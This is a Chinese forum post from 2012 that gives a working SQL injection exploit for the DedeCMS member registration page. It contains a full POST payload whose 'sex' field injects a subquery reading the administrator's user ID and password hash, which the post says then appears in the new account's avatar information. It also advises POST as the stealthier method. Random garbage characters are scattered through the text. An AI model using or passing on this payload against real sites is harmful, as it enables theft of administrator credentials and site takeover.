dedecms版本 20121122# b* t6 W$ b7 j6 N6 K: H6 n* @. a! H$ a
3 o. I, E" a& Q! [ L6 L; X( \+ s需要magic_quotes_gpc=Off
! g4 C+ b' ?. |6 w* K5 s, T: M# {# W0 \$ H/ |! `" S- E$ [
应该是没有什么大危害的漏洞.
* ~1 G( ` b5 O% g# C' `原来发过一个Dedecms注射漏洞,貌似并没有修补,重新利用了一下,可以获得管理员密码.$ I1 k% z. s9 |. l" u
4 n: a7 g$ e3 g是一个漏洞.其实不仅仅是审核机制绕过,也可以获得管理员密码的.
% [) z7 E) y4 J' CPOST提交以下数据,其实不用POST提交的,这样隐蔽点.
( `% S( ?- F5 |: ?6 c H3 N3 M- ?1 s7 S [9 o
http:///de/member/reg_new.php x1 T d' l8 U; l( P ?
* d; a( n! a. s! ~
POST
) L' r8 Q6 r: s! U7 k; \1 B' n
$ |/ J$ B: [' e8 D d+ i. J- ydopost=regbase&step=1&mtype=%E4%B8%AA%E4%BA%BA&mtype=%E4%B8%AA%E4%BA%BA&userid=c4rp3nt3r&uname=c4rp3nt3r&userpwd=ssssss&userpwdok=ssssss&email=sss%40ss.ss&safequestion=0&safeanswer=&sex=boy',100,100,'sss@xx.xx',1000,0,'www' and @`'`,(select concat(userid,0x3a,pwd) from `#@__admin` limit 1),0,'',1316751900,'',1316751900,'');%00&vdcode=glos&agree=/ j3 N- o) X5 R9 F
3 f( Z7 D- D9 t成功注册后,头像处里面有好玩的信息.
- h c; \% k) S9 v) V5 ]6 ^3 M- Q# }
|
发表于 2012-12-5 10:03:32
收藏
支持
反对